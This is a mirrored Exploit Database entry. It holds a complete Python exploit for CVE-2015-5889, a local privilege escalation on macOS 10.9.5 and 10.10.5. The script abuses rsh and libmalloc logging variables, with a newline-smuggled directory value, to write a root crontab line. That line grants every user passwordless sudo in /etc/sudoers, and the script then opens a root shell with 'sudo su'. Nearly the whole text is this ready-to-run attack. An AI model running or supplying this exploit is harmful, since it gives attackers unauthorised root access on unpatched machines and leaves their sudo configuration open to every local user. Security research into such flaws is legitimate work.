Apple Mac OSX 10.9.5/10.10.5 – ‘rsh/libmalloc’ Local Privilege Escalation

• Exploit Database
• 115 阅读

• 作者： rebel
  日期： 2015-10-01
• 类别：

  • local
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/38371/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39

  # CVE-2015-5889: issetugid() + rsh + libmalloc osx local root # tested on osx 10.9.5 / 10.10.5 # jul/2015 # by rebel   import os,time,sys   env = {}   s = os.stat("/etc/sudoers").st_size   env[&apos;MallocLogFile&apos;] = &apos;/etc/crontab&apos; env[&apos;MallocStackLogging&apos;] = &apos;yes&apos; env[&apos;MallocStackLoggingDirectory&apos;] = &apos;a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n&apos;   sys.stderr.write("creating /etc/crontab..")   p = os.fork() if p == 0: os.close(1) os.close(2) os.execve("/usr/bin/rsh",["rsh","localhost"],env)   time.sleep(1)   if "NOPASSWD" not in open("/etc/crontab").read(): sys.stderr.write("failed\n") sys.exit(-1)   sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")   while os.stat("/etc/sudoers").st_size == s: sys.stderr.write(".") time.sleep(1)   sys.stderr.write("\ndone\n")   os.system("sudo su")